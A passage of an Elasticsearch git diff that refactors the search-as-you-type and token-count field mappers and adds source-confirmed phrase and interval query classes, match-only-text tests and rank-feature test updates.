prefixFieldType.name(); @@ -545,7 +562,7 @@ public SearchAsYouTypeFieldMapper(String simpleName, PrefixFieldMapper prefixField, ShingleFieldMapper[] shingleFields, Builder builder) { - super(simpleName, mappedFieldType, indexAnalyzers, MultiFields.empty(), copyTo); + super(simpleName, mappedFieldType, indexAnalyzers, MultiFields.empty(), copyTo, false, null); this.prefixField = prefixField; this.shingleFields = shingleFields; this.maxShingleSize = builder.maxShingleSize.getValue(); @@ -554,7 +571,7 @@ public SearchAsYouTypeFieldMapper(String simpleName, @Override protected void parseCreateField(ParseContext context) throws IOException { - final String value = context.externalValueSet() ? context.externalValue().toString() : context.parser().textOrNull(); + final String value = context.parser().textOrNull(); if (value == null) { return; } @@ -571,7 +588,7 @@ protected void parseCreateField(ParseContext context) throws IOException { context.doc().add(new Field(prefixField.fieldType().name(), value, prefixField.getLuceneFieldType())); } if (fieldType().fieldType.omitNorms()) { - createFieldNamesField(context); + context.addToFieldNames(fieldType().name()); } } diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/TokenCountFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/TokenCountFieldMapper.java index 13d36eb2d3217..793d60ffdfb9f 100644 --- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/TokenCountFieldMapper.java +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/TokenCountFieldMapper.java @@ -77,7 +77,7 @@ static class TokenCountFieldType extends NumberFieldMapper.NumberFieldType { TokenCountFieldType(String name, boolean isSearchable, boolean isStored, boolean hasDocValues, Number nullValue, Map meta) { - super(name, NumberFieldMapper.NumberType.INTEGER, isSearchable, isStored, hasDocValues, false, nullValue, meta); + super(name, NumberFieldMapper.NumberType.INTEGER, isSearchable, isStored, hasDocValues, false, nullValue, meta, null); } @Override @@ -111,12 +111,7 @@ protected TokenCountFieldMapper(String simpleName, MappedFieldType defaultFieldT @Override protected void parseCreateField(ParseContext context) throws IOException { - final String value; - if (context.externalValueSet()) { - value = context.externalValue().toString(); - } else { - value = context.parser().textOrNull(); - } + final String value = context.parser().textOrNull(); if (value == null && nullValue == null) { return; diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/query/SourceConfirmedTextQuery.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/query/SourceConfirmedTextQuery.java new file mode 100644 index 0000000000000..baba8b0345f1f --- /dev/null +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/query/SourceConfirmedTextQuery.java @@ -0,0 +1,379 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.query; + +import org.apache.lucene.analysis.Analyzer; +import org.apache.lucene.index.FieldInvertState; +import org.apache.lucene.index.IndexReader; +import org.apache.lucene.index.LeafReaderContext; +import org.apache.lucene.index.Term; +import org.apache.lucene.index.TermStates; +import org.apache.lucene.index.memory.MemoryIndex; +import org.apache.lucene.search.BooleanClause.Occur; +import org.apache.lucene.search.BooleanQuery; +import org.apache.lucene.search.BoostQuery; +import org.apache.lucene.search.CollectionStatistics; +import org.apache.lucene.search.ConstantScoreQuery; +import org.apache.lucene.search.DocIdSetIterator; +import org.apache.lucene.search.Explanation; +import org.apache.lucene.search.IndexSearcher; +import org.apache.lucene.search.LeafSimScorer; +import org.apache.lucene.search.MatchAllDocsQuery; +import org.apache.lucene.search.MatchNoDocsQuery; +import org.apache.lucene.search.MultiPhraseQuery; +import org.apache.lucene.search.PhraseQuery; +import org.apache.lucene.search.PrefixQuery; +import org.apache.lucene.search.Query; +import org.apache.lucene.search.QueryVisitor; +import org.apache.lucene.search.ScoreMode; +import org.apache.lucene.search.Scorer; +import org.apache.lucene.search.TermQuery; +import org.apache.lucene.search.TermStatistics; +import org.apache.lucene.search.TwoPhaseIterator; +import org.apache.lucene.search.Weight; +import org.apache.lucene.search.similarities.Similarity; +import org.apache.lucene.search.similarities.Similarity.SimScorer; +import org.elasticsearch.common.CheckedIntFunction; +import org.elasticsearch.common.lucene.search.MultiPhrasePrefixQuery; + +import java.io.IOException; +import java.io.UncheckedIOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Set; +import java.util.function.Function; + +/** + * A variant of {@link TermQuery}, {@link PhraseQuery}, {@link MultiPhraseQuery} + * and span queries that uses postings for its approximation, but falls back to + * stored fields or _source whenever term frequencies or positions are needed. + * This query matches and scores the same way as the wrapped query. + */ +public final class SourceConfirmedTextQuery extends Query { + + /** + * Create an approximation for the given query. The returned approximation + * should match a superset of the matches of the provided query. + */ + public static Query approximate(Query query) { + if (query instanceof TermQuery) { + return query; + } else if (query instanceof PhraseQuery) { + return approximate((PhraseQuery) query); + } else if (query instanceof MultiPhraseQuery) { + return approximate((MultiPhraseQuery) query); + } else if (query instanceof MultiPhrasePrefixQuery) { + return approximate((MultiPhrasePrefixQuery) query); + } else { + return new MatchAllDocsQuery(); + } + } + + private static Query approximate(PhraseQuery query) { + BooleanQuery.Builder approximation = new BooleanQuery.Builder(); + for (Term term : query.getTerms()) { + approximation.add(new TermQuery(term), Occur.FILTER); + } + return approximation.build(); + } + + private static Query approximate(MultiPhraseQuery query) { + BooleanQuery.Builder approximation = new BooleanQuery.Builder(); + for (Term[] termArray : query.getTermArrays()) { + BooleanQuery.Builder approximationClause = new BooleanQuery.Builder(); + for (Term term : termArray) { + approximationClause.add(new TermQuery(term), Occur.SHOULD); + } + approximation.add(approximationClause.build(), Occur.FILTER); + } + return approximation.build(); + } + + private static Query approximate(MultiPhrasePrefixQuery query) { + Term[][] terms = query.getTerms(); + if (terms.length == 0) { + return new MatchNoDocsQuery(); + } else if (terms.length == 1) { + // Only a prefix, approximate with a prefix query + BooleanQuery.Builder approximation = new BooleanQuery.Builder(); + for (Term term : terms[0]) { + approximation.add(new PrefixQuery(term), Occur.FILTER); + } + return approximation.build(); + } + // A combination of a phrase and a prefix query, only use terms of the phrase for the approximation + BooleanQuery.Builder approximation = new BooleanQuery.Builder(); + for (int i = 0; i < terms.length - 1; ++i) { // ignore the last set of terms, which are prefixes + Term[] termArray = terms[i]; + BooleanQuery.Builder approximationClause = new BooleanQuery.Builder(); + for (Term term : termArray) { + approximationClause.add(new TermQuery(term), Occur.SHOULD); + } + approximation.add(approximationClause.build(), Occur.FILTER); + } + return approximation.build(); + } + + /** + * Similarity that produces the frequency as a score. + */ + private static final Similarity FREQ_SIMILARITY = new Similarity() { + + @Override + public long computeNorm(FieldInvertState state) { + return 1L; + } + + public SimScorer scorer(float boost, CollectionStatistics collectionStats, TermStatistics... termStats) { + return new SimScorer() { + @Override + public float score(float freq, long norm) { + return freq; + } + }; + } + }; + + private final Query in; + private final Function, IOException>> valueFetcherProvider; + private final Analyzer indexAnalyzer; + + public SourceConfirmedTextQuery( + Query in, + Function, IOException>> valueFetcherProvider, + Analyzer indexAnalyzer + ) { + this.in = in; + this.valueFetcherProvider = valueFetcherProvider; + this.indexAnalyzer = indexAnalyzer; + } + + public Query getQuery() { + return in; + } + + @Override + public String toString(String field) { + return in.toString(field); + } + + @Override + public boolean equals(Object obj) { + if (obj == null || obj.getClass() != getClass()) { + return false; + } + SourceConfirmedTextQuery that = (SourceConfirmedTextQuery) obj; + return Objects.equals(in, that.in) + && Objects.equals(valueFetcherProvider, that.valueFetcherProvider) + && Objects.equals(indexAnalyzer, that.indexAnalyzer); + } + + @Override + public int hashCode() { + return 31 * Objects.hash(in, valueFetcherProvider, indexAnalyzer) + classHash(); + } + + @Override + public Query rewrite(IndexReader reader) throws IOException { + Query inRewritten = in.rewrite(reader); + if (inRewritten != in) { + return new SourceConfirmedTextQuery(inRewritten, valueFetcherProvider, indexAnalyzer); + } else if (in instanceof ConstantScoreQuery) { + Query sub = ((ConstantScoreQuery) in).getQuery(); + return new ConstantScoreQuery(new SourceConfirmedTextQuery(sub, valueFetcherProvider, indexAnalyzer)); + } else if (in instanceof BoostQuery) { + Query sub = ((BoostQuery) in).getQuery(); + float boost = ((BoostQuery) in).getBoost(); + return new BoostQuery(new SourceConfirmedTextQuery(sub, valueFetcherProvider, indexAnalyzer), boost); + } else if (in instanceof MatchNoDocsQuery) { + return in; // e.g. empty phrase query + } + return super.rewrite(reader); + } + + @Override + public Weight createWeight(IndexSearcher searcher, ScoreMode scoreMode, float boost) throws IOException { + if (scoreMode.needsScores() == false && in instanceof TermQuery) { + // No need to ever look at the _source for non-scoring term queries + return in.createWeight(searcher, scoreMode, boost); + } + + final Set terms = new HashSet<>(); + in.visit(QueryVisitor.termCollector(terms)); + if (terms.isEmpty()) { + throw new IllegalStateException("Query " + in + " doesn't have any term"); + } + final String field = terms.iterator().next().field(); + final Map termStates = new HashMap<>(); + final List termStats = new ArrayList<>(); + for (Term term : terms) { + TermStates ts = termStates.computeIfAbsent(term, t -> { + try { + return TermStates.build(searcher.getTopReaderContext(), t, scoreMode.needsScores()); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + }); + if (scoreMode.needsScores()) { + if (ts.docFreq() > 0) { + termStats.add(searcher.termStatistics(term, ts.docFreq(), ts.totalTermFreq())); + } + } else { + termStats.add(new TermStatistics(term.bytes(), 1, 1L)); + } + } + final SimScorer simScorer = searcher.getSimilarity() + .scorer(boost, searcher.collectionStatistics(field), termStats.toArray(TermStatistics[]::new)); + final Weight approximationWeight = searcher.createWeight(approximate(in), ScoreMode.COMPLETE_NO_SCORES, 1f); + + return new Weight(this) { + + @Override + public boolean isCacheable(LeafReaderContext ctx) { + // Don't cache queries that may perform linear scans + return false; + } + + @Override + public void extractTerms(Set termSet) { + termSet.addAll(terms); + } + + @Override + public Explanation explain(LeafReaderContext context, int doc) throws IOException { + RuntimePhraseScorer scorer = scorer(context); + if (scorer == null) { + return Explanation.noMatch("No matching phrase"); + } + final TwoPhaseIterator twoPhase = scorer.twoPhaseIterator(); + if (twoPhase.approximation().advance(doc) != doc || scorer.twoPhaseIterator().matches() == false) { + return Explanation.noMatch("No matching phrase"); + } + float phraseFreq = scorer.freq(); + Explanation freqExplanation = Explanation.match(phraseFreq, "phraseFreq=" + phraseFreq); + final LeafSimScorer leafSimScorer = new LeafSimScorer(simScorer, context.reader(), field, scoreMode.needsScores()); + Explanation scoreExplanation = leafSimScorer.explain(doc, freqExplanation); + return Explanation.match( + scoreExplanation.getValue(), + "weight(" + getQuery() + " in " + doc + ") [" + searcher.getSimilarity().getClass().getSimpleName() + "], result of:", + scoreExplanation + ); + } + + @Override + public RuntimePhraseScorer scorer(LeafReaderContext context) throws IOException { + final Scorer approximationScorer = approximationWeight.scorer(context); + if (approximationScorer == null) { + return null; + } + final DocIdSetIterator approximation = approximationScorer.iterator(); + final LeafSimScorer leafSimScorer = new LeafSimScorer(simScorer, context.reader(), field, scoreMode.needsScores()); + final CheckedIntFunction, IOException> valueFetcher = valueFetcherProvider.apply(context); + return new RuntimePhraseScorer(this, approximation, leafSimScorer, valueFetcher, field, in); + } + + }; + } + + private class RuntimePhraseScorer extends Scorer { + + private final LeafSimScorer scorer; + private final CheckedIntFunction, IOException> valueFetcher; + private final String field; + private final Query query; + private final TwoPhaseIterator twoPhase; + + private int doc = -1; + private float freq; + + private RuntimePhraseScorer( + Weight weight, + DocIdSetIterator approximation, + LeafSimScorer scorer, + CheckedIntFunction, IOException> valueFetcher, + String field, + Query query + ) { + super(weight); + this.scorer = scorer; + this.valueFetcher = valueFetcher; + this.field = field; + this.query = query; + twoPhase = new TwoPhaseIterator(approximation) { + + @Override + public boolean matches() throws IOException { + return freq() > 0; + } + + @Override + public float matchCost() { + // TODO what is a right value? + // Defaults to a high-ish value so that it likely runs last. + return 10_000f; + } + + }; + } + + @Override + public DocIdSetIterator iterator() { + return TwoPhaseIterator.asDocIdSetIterator(twoPhaseIterator()); + } + + @Override + public TwoPhaseIterator twoPhaseIterator() { + return twoPhase; + } + + @Override + public float getMaxScore(int upTo) throws IOException { + return scorer.getSimScorer().score(Float.MAX_VALUE, 1L); + } + + @Override + public float score() throws IOException { + return scorer.score(docID(), freq()); + } + + @Override + public int docID() { + return twoPhase.approximation().docID(); + } + + private float freq() throws IOException { + if (doc != docID()) { + doc = docID(); + freq = computeFreq(); + } + return freq; + } + + private float computeFreq() throws IOException { + MemoryIndex index = new MemoryIndex(); + index.setSimilarity(FREQ_SIMILARITY); + List values = valueFetcher.apply(docID()); + float freq = 0; + for (Object value : values) { + if (value == null) { + continue; + } + index.addField(field, value.toString(), indexAnalyzer); + freq += index.search(query); + index.reset(); + } + return freq; + } + } + +} diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/query/SourceIntervalsSource.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/query/SourceIntervalsSource.java new file mode 100644 index 0000000000000..aa98574abe240 --- /dev/null +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/query/SourceIntervalsSource.java @@ -0,0 +1,195 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.query; + +import org.apache.lucene.analysis.Analyzer; +import org.apache.lucene.index.LeafReaderContext; +import org.apache.lucene.index.memory.MemoryIndex; +import org.apache.lucene.queries.intervals.IntervalIterator; +import org.apache.lucene.queries.intervals.IntervalMatchesIterator; +import org.apache.lucene.queries.intervals.IntervalsSource; +import org.apache.lucene.search.DocIdSetIterator; +import org.apache.lucene.search.IndexSearcher; +import org.apache.lucene.search.Query; +import org.apache.lucene.search.QueryVisitor; +import org.apache.lucene.search.ScoreMode; +import org.apache.lucene.search.Scorer; +import org.apache.lucene.search.Weight; +import org.elasticsearch.common.CheckedIntFunction; + +import java.io.IOException; +import java.util.Collection; +import java.util.Collections; +import java.util.List; +import java.util.Objects; +import java.util.function.Function; + +/** + * A wrapper of {@link IntervalsSource} for the case when positions are not indexed. + */ +public final class SourceIntervalsSource extends IntervalsSource { + + private final IntervalsSource in; + private final Query approximation; + private final Function, IOException>> valueFetcherProvider; + private final Analyzer indexAnalyzer; + + public SourceIntervalsSource(IntervalsSource in, + Query approximation, + Function, IOException>> valueFetcherProvider, + Analyzer indexAnalyzer) { + this.in = Objects.requireNonNull(in); + this.approximation = Objects.requireNonNull(approximation); + this.valueFetcherProvider = Objects.requireNonNull(valueFetcherProvider); + this.indexAnalyzer = Objects.requireNonNull(indexAnalyzer); + } + + public IntervalsSource getIntervalsSource() { + return in; + } + + private LeafReaderContext createSingleDocLeafReaderContext(String field, List values) { + MemoryIndex index = new MemoryIndex(); + for (Object value : values) { + if (value == null) { + continue; + } + index.addField(field, value.toString(), indexAnalyzer); + } + index.freeze(); + return index.createSearcher().getIndexReader().leaves().get(0); + } + + @Override + public IntervalIterator intervals(String field, LeafReaderContext ctx) throws IOException { + final IndexSearcher searcher = new IndexSearcher(ctx.reader()); + final Weight weight = searcher.createWeight(searcher.rewrite(approximation), ScoreMode.COMPLETE_NO_SCORES, 1f); + final Scorer scorer = weight.scorer(ctx.reader().getContext()); + if (scorer == null) { + return null; + } + final DocIdSetIterator approximation = scorer.iterator(); + + final CheckedIntFunction, IOException> valueFetcher = valueFetcherProvider.apply(ctx); + return new IntervalIterator() { + + private IntervalIterator in; + + @Override + public int docID() { + return approximation.docID(); + } + + @Override + public long cost() { + return approximation.cost(); + } + + @Override + public int nextDoc() throws IOException { + return doNext(approximation.nextDoc()); + } + + @Override + public int advance(int target) throws IOException { + return doNext(approximation.advance(target)); + } + + private int doNext(int doc) throws IOException { + while (doc != NO_MORE_DOCS && setIterator(doc) == false) { + doc = approximation.nextDoc(); + } + return doc; + } + + private boolean setIterator(int doc) throws IOException { + final List values = valueFetcher.apply(doc); + final LeafReaderContext singleDocContext = createSingleDocLeafReaderContext(field, values); + in = SourceIntervalsSource.this.in.intervals(field, singleDocContext); + final boolean isSet = in != null && in.nextDoc() != NO_MORE_DOCS; + assert isSet == false || in.docID() == 0; + return isSet; + } + + @Override + public int start() { + return in.start(); + } + + @Override + public int end() { + return in.end(); + } + + @Override + public int gaps() { + return in.gaps(); + } + + @Override + public int nextInterval() throws IOException { + return in.nextInterval(); + } + + @Override + public float matchCost() { + // a high number since we need to parse the _source + return 10_000; + } + + }; + } + + @Override + public IntervalMatchesIterator matches(String field, LeafReaderContext ctx, int doc) throws IOException { + final CheckedIntFunction, IOException> valueFetcher = valueFetcherProvider.apply(ctx); + final List values = valueFetcher.apply(doc); + final LeafReaderContext singleDocContext = createSingleDocLeafReaderContext(field, values); + return in.matches(field, singleDocContext, 0); + } + + @Override + public void visit(String field, QueryVisitor visitor) { + in.visit(field, visitor); + } + + @Override + public int minExtent() { + return in.minExtent(); + } + + @Override + public Collection pullUpDisjunctions() { + return Collections.singleton(this); + } + + @Override + public int hashCode() { + // Not using matchesProvider and valueFetcherProvider, which don't identify this source but are only used to avoid scanning linearly + // through all documents + return Objects.hash(in, indexAnalyzer); + } + + @Override + public boolean equals(Object other) { + if (other == null || getClass() != other.getClass()) { + return false; + } + SourceIntervalsSource that = (SourceIntervalsSource) other; + // Not using matchesProvider and valueFetcherProvider, which don't identify this source but are only used to avoid scanning linearly + // through all documents + return in.equals(that.in) && indexAnalyzer.equals(that.indexAnalyzer); + } + + @Override + public String toString() { + return in.toString(); + } + +} diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldTypeTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldTypeTests.java new file mode 100644 index 0000000000000..8c3cd70c8af27 --- /dev/null +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldTypeTests.java @@ -0,0 +1,180 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.index.mapper; + +import org.apache.lucene.analysis.CannedTokenStream; +import org.apache.lucene.analysis.Token; +import org.apache.lucene.analysis.TokenStream; +import org.apache.lucene.index.Term; +import org.apache.lucene.queries.intervals.Intervals; +import org.apache.lucene.queries.intervals.IntervalsSource; +import org.apache.lucene.search.ConstantScoreQuery; +import org.apache.lucene.search.FuzzyQuery; +import org.apache.lucene.search.MatchAllDocsQuery; +import org.apache.lucene.search.MultiPhraseQuery; +import org.apache.lucene.search.PhraseQuery; +import org.apache.lucene.search.Query; +import org.apache.lucene.search.RegexpQuery; +import org.apache.lucene.search.TermInSetQuery; +import org.apache.lucene.search.TermQuery; +import org.apache.lucene.search.TermRangeQuery; +import org.apache.lucene.util.BytesRef; +import org.elasticsearch.ElasticsearchException; +import org.elasticsearch.common.lucene.BytesRefs; +import org.elasticsearch.common.lucene.search.AutomatonQueries; +import org.elasticsearch.common.lucene.search.MultiPhrasePrefixQuery; +import org.elasticsearch.common.unit.Fuzziness; +import org.elasticsearch.index.mapper.MatchOnlyTextFieldMapper.MatchOnlyTextFieldType; +import org.elasticsearch.index.query.SourceConfirmedTextQuery; +import org.elasticsearch.index.query.SourceIntervalsSource; +import org.hamcrest.Matchers; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +public class MatchOnlyTextFieldTypeTests extends FieldTypeTestCase { + + public void testTermQuery() { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + assertEquals(new ConstantScoreQuery(new TermQuery(new Term("field", "foo"))), ft.termQuery("foo", null)); + assertEquals(AutomatonQueries.caseInsensitiveTermQuery(new Term("field", "fOo")), ft.termQueryCaseInsensitive("fOo", null)); + } + + public void testTermsQuery() { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + List terms = new ArrayList<>(); + terms.add(new BytesRef("foo")); + terms.add(new BytesRef("bar")); + assertEquals(new TermInSetQuery("field", terms), ft.termsQuery(Arrays.asList("foo", "bar"), null)); + } + + public void testRangeQuery() { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + assertEquals( + new TermRangeQuery("field", BytesRefs.toBytesRef("foo"), BytesRefs.toBytesRef("bar"), true, false), + ft.rangeQuery("foo", "bar", true, false, null, null, null, MOCK_CONTEXT) + ); + + ElasticsearchException ee = expectThrows( + ElasticsearchException.class, + () -> ft.rangeQuery("foo", "bar", true, false, null, null, null, MOCK_CONTEXT_DISALLOW_EXPENSIVE) + ); + assertEquals( + "[range] queries on [text] or [keyword] fields cannot be executed when " + "'search.allow_expensive_queries' is set to false.", + ee.getMessage() + ); + } + + public void testRegexpQuery() { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + assertEquals(new RegexpQuery(new Term("field", "foo.*")), ft.regexpQuery("foo.*", 0, 0, 10, null, MOCK_CONTEXT)); + + ElasticsearchException ee = expectThrows( + ElasticsearchException.class, + () -> ft.regexpQuery("foo.*", randomInt(10), 0, randomInt(10) + 1, null, MOCK_CONTEXT_DISALLOW_EXPENSIVE) + ); + assertEquals("[regexp] queries cannot be executed when 'search.allow_expensive_queries' is set to false.", ee.getMessage()); + } + + public void testFuzzyQuery() { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + assertEquals( + new ConstantScoreQuery(new FuzzyQuery(new Term("field", "foo"), 2, 1, 50, true)), + ft.fuzzyQuery("foo", Fuzziness.fromEdits(2), 1, 50, true, MOCK_CONTEXT) + ); + + ElasticsearchException ee = expectThrows( + ElasticsearchException.class, + () -> ft.fuzzyQuery( + "foo", + Fuzziness.AUTO, + randomInt(10) + 1, + randomInt(10) + 1, + randomBoolean(), + MOCK_CONTEXT_DISALLOW_EXPENSIVE + ) + ); + assertEquals("[fuzzy] queries cannot be executed when 'search.allow_expensive_queries' is set to false.", ee.getMessage()); + } + + public void testFetchSourceValue() throws IOException { + MatchOnlyTextFieldType fieldType = new MatchOnlyTextFieldType("field"); + + assertEquals(List.of("value"), fetchSourceValue(fieldType, "value")); + assertEquals(List.of("42"), fetchSourceValue(fieldType, 42L)); + assertEquals(List.of("true"), fetchSourceValue(fieldType, true)); + } + + private Query unwrapPositionalQuery(Query query) { + query = ((ConstantScoreQuery) query).getQuery(); + query = ((SourceConfirmedTextQuery) query).getQuery(); + return query; + } + + public void testPhraseQuery() throws IOException { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + TokenStream ts = new CannedTokenStream(new Token("a", 0, 3), new Token("b", 4, 7)); + Query query = ft.phraseQuery(ts, 0, true, MOCK_CONTEXT); + Query delegate = unwrapPositionalQuery(query); + assertEquals(new PhraseQuery("field", "a", "b"), delegate); + assertNotEquals(new MatchAllDocsQuery(), SourceConfirmedTextQuery.approximate(delegate)); + } + + public void testMultiPhraseQuery() throws IOException { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + TokenStream ts = new CannedTokenStream(new Token("a", 0, 3), new Token("b", 0, 0, 3), new Token("c", 4, 7)); + Query query = ft.multiPhraseQuery(ts, 0, true, MOCK_CONTEXT); + Query delegate = unwrapPositionalQuery(query); + MultiPhraseQuery expected = new MultiPhraseQuery.Builder().add(new Term[] { new Term("field", "a"), new Term("field", "b") }) + .add(new Term("field", "c")) + .build(); + assertEquals(expected, delegate); + assertNotEquals(new MatchAllDocsQuery(), SourceConfirmedTextQuery.approximate(delegate)); + } + + public void testPhrasePrefixQuery() throws IOException { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + TokenStream ts = new CannedTokenStream(new Token("a", 0, 3), new Token("b", 0, 0, 3), new Token("c", 4, 7)); + Query query = ft.phrasePrefixQuery(ts, 0, 10, MOCK_CONTEXT); + Query delegate = unwrapPositionalQuery(query); + MultiPhrasePrefixQuery expected = new MultiPhrasePrefixQuery("field"); + expected.add(new Term[] { new Term("field", "a"), new Term("field", "b") }); + expected.add(new Term("field", "c")); + assertEquals(expected, delegate); + assertNotEquals(new MatchAllDocsQuery(), SourceConfirmedTextQuery.approximate(delegate)); + } + + public void testTermIntervals() throws IOException { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + IntervalsSource termIntervals = ft.termIntervals(new BytesRef("foo"), MOCK_CONTEXT); + assertThat(termIntervals, Matchers.instanceOf(SourceIntervalsSource.class)); + assertEquals(Intervals.term(new BytesRef("foo")), ((SourceIntervalsSource) termIntervals).getIntervalsSource()); + } + + public void testPrefixIntervals() throws IOException { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + IntervalsSource prefixIntervals = ft.prefixIntervals(new BytesRef("foo"), MOCK_CONTEXT); + assertThat(prefixIntervals, Matchers.instanceOf(SourceIntervalsSource.class)); + assertEquals(Intervals.prefix(new BytesRef("foo")), ((SourceIntervalsSource) prefixIntervals).getIntervalsSource()); + } + + public void testWildcardIntervals() throws IOException { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + IntervalsSource wildcardIntervals = ft.wildcardIntervals(new BytesRef("foo"), MOCK_CONTEXT); + assertThat(wildcardIntervals, Matchers.instanceOf(SourceIntervalsSource.class)); + assertEquals(Intervals.wildcard(new BytesRef("foo")), ((SourceIntervalsSource) wildcardIntervals).getIntervalsSource()); + } + + public void testFuzzyIntervals() throws IOException { + MappedFieldType ft = new MatchOnlyTextFieldType("field"); + IntervalsSource fuzzyIntervals = ft.fuzzyIntervals("foo", 1, 2, true, MOCK_CONTEXT); + assertThat(fuzzyIntervals, Matchers.instanceOf(SourceIntervalsSource.class)); + } +} diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureFieldMapperTests.java index 29941feeb647e..e7cd312457f4b 100644 --- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureFieldMapperTests.java +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureFieldMapperTests.java @@ -52,6 +52,11 @@ protected void assertSearchable(MappedFieldType fieldType) { assertTrue(fieldType.isSearchable()); } + @Override + protected boolean supportsStoredFields() { + return false; + } + @Override protected Collection getPlugins() { return List.of(new MapperExtrasPlugin()); @@ -136,4 +141,10 @@ public void testRejectMultiValuedFields() throws MapperParsingException, IOExcep assertEquals("[rank_feature] fields do not support indexing multiple values for the same field [foo.field] in the same document", e.getCause().getMessage()); } + + @Override + protected Object generateRandomInputValue(MappedFieldType ft) { + assumeFalse("Test implemented in a follow up", true); + return null; + } } diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureMetaFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureMetaFieldMapperTests.java index cde420e35b77c..476d257799f34 100644 --- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureMetaFieldMapperTests.java +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeatureMetaFieldMapperTests.java @@ -15,6 +15,7 @@ import org.elasticsearch.common.xcontent.XContentType; import org.elasticsearch.plugins.Plugin; import org.elasticsearch.test.ESSingleNodeTestCase; +import org.hamcrest.CoreMatchers; import org.junit.Before; import java.util.Collection; @@ -38,10 +39,9 @@ public void testBasics() throws Exception { .startObject("properties").startObject("field").field("type", "rank_feature").endObject().endObject() .endObject().endObject()); - DocumentMapper mapper = mapperService.parse("type", new CompressedXContent(mapping)); - - assertEquals(mapping, mapper.mappingSource().toString()); - assertNotNull(mapper.metadataMapper(RankFeatureMetaFieldMapper.class)); + Mapping parsedMapping = mapperService.parseMapping("type", new CompressedXContent(mapping)); + assertEquals(mapping, parsedMapping.toCompressedXContent().toString()); + assertNotNull(parsedMapping.getMetadataMapperByClass(RankFeatureMetaFieldMapper.class)); } /** @@ -50,12 +50,12 @@ public void testBasics() throws Exception { */ public void testDocumentParsingFailsOnMetaField() throws Exception { String mapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject("_doc").endObject().endObject()); - DocumentMapper mapper = mapperService.parse("_doc", new CompressedXContent(mapping)); + DocumentMapper mapper = mapperService.merge("_doc", new CompressedXContent(mapping), MapperService.MergeReason.MAPPING_UPDATE); String rfMetaField = RankFeatureMetaFieldMapper.CONTENT_TYPE; BytesReference bytes = BytesReference.bytes(XContentFactory.jsonBuilder().startObject().field(rfMetaField, 0).endObject()); MapperParsingException e = expectThrows(MapperParsingException.class, () -> mapper.parse(new SourceToParse("test", "1", bytes, XContentType.JSON))); - assertTrue( - e.getCause().getMessage().contains("Field ["+ rfMetaField + "] is a metadata field and cannot be added inside a document.")); + assertThat(e.getCause().getMessage(), + CoreMatchers.containsString("Field ["+ rfMetaField + "] is a metadata field and cannot be added inside a document.")); } } diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapperTests.java index ad2097098dc84..1b932d548daa7 100644 --- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapperTests.java +++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapperTests.java @@ -21,6 +21,8 @@ import java.util.List; import java.util.Map; +import static org.hamcrest.Matchers.containsString; + public class RankFeaturesFieldMapperTests extends MapperTestCase { @Override @@ -45,8 +47,13 @@ protected void minimalMapping(XContentBuilder b) throws IOException { } @Override - protected void registerParameters(ParameterChecker checker) { - // no parameters to configure + protected boolean 